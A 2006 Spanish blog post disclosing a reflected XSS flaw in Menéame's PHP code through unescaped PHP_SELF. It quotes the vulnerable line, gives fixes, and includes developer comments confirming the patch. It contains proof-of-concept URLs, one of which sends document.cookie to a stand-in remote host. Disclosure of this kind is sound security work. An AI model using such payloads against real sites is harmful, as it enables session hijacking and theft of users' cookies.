¿Menéame, vulnerable a ataques XSS?
Por: alex | 9 Agosto 2006 | Ver comentarios |
La lectura del libro Writing Secure Code, últimamente me ha motivado a revisar código de distintas aplicaciones en busca de algunas fallas. Es así que mientras miraba el código fuente de menéame (a.k.a. clon de Digg), ví -valga la redundacia- que éste era suceptible a ataques XSS, posiblemente en los siguientes archivos:
- www\blogscloud.php
- www\cloud.php
- www\comments_rss2.php ¿?
- www\rss2.php ¿?
- www\topstories.php
- www\topusers-big.php
- www\topusers.php
- www\libs\html1.php ¿?
- www\backend\comment_edit.php ¿?
Actualización: El error ha sido solucionado minutos después de haber publicado el bug en http://meneame.wikispaces.com/Bugs, es por eso que me gusta el software libre!.
El error -un viejo conocido de otras aplicaciones- consiste en que no se valida de manera correcta el uso de la variable predefinida PHP_SELF, así por ejemplo en la línea 80 de cloud.php tenemos algo como esto:
echo '<li><a href="'.$_SERVER['PHP_SELF'].'?range='.$i.'">' .$range_names[$i]. '</a></li>'."\n";
A simple vista pareciera que la línea no contiene ningún error, pero el pequeño detalle es que el contenido de PHP_SELF puede ser modificado por el usuario.
‘PHP_SELF’
El nombre de archivo del script ejecutándose actualmente, relativo a la raíz de documentos. Por ejemplo, $_SERVER[’PHP_SELF’] en un script en la dirección http://example.com/test.php/foo.bar sería /test.php/foo.bar. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).
Si PHP está siendo ejecutado como un procesador de línea de comandos, esta variable contiene el nombre del script a partir de PHP 4.3.0. Anteriormente no estaba disponible.
Fuente: Variables Predefinidas
Ejemplos
Si armamos la siguiente URL, al cargar la página debería aparecer un mensaje mostrando las cookies relacionadas al sitio:
<!-- URL --> http://meneame.net/cloud.php/"><script>alert(document.cookie)</script><foo" <!-- El código HTML enviado al cliente --> <li><a href="/cloud.php/"><script>alert(document.cookie)</script><foo"?range=1">última semana</a></li>
Si esta vez se arma una URL como la siguiente, entonces lo que puede pasar es que las cookies sean enviadas a un servidor remoto, probablemente para fines no muy éticos.
http://meneame.net/cloud.php/"><script>document.location='http://www.servidor-remoto.net?cookies='+document.cookie</script><foo"
Solución
Usar otra variable predefinida (¿REQUEST_URI?), la función htmlentities para escapar el contenido de PHP_SELF o borrar los caracteres peligrosos de éste.
Actualización: Según la documentación, SCRIPT_NAME debe usarse para referenciar a una misma página.
SCRIPT_NAME
Contiene la ruta del script actual. Ésta es útil para páginas que necesitan apuntar a ellas mismas. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).
Fuente: Variables Predefinidas
Notas finales
Debemos tener cuidado en validar correctamente los datos que son enviados y/o aquellos que son modificables por el usuario.
Cabe aclarar que ésta entrada no es ninguna represalia por el hecho que tildaron de spammer -con justa razón- a mi amigo Braulio en uno de sus envíos a Menéame.


ricardo galli
9 de Agosto de 2006, 09:44:12 pm
¡Muchas gracias! Ni lo había pensado que esa variable es modificable desde el url (y ahora me doy cuenta de los errores que había visto en el syslog y no sabía de qué era, seguramente tus pruebas
).
Está arreglado, aunque sigo mirando, el htmlspecialchars() (que es el que usado ahora) no me termina de convencer para “limpiarlo”.
Sigo mirando sobre el tema.
alex
9 de Agosto de 2006, 09:47:23 pm
Con respecto a los logs: efectivamente, estuve haciendo unas cuantas pruebas
Otra alternativa para evitar este tipo de ataques, es utilizar modsecurity (módulo para apache), aunque lamentablemente muchas veces no se tiene el control sobre el servidor.
Saludos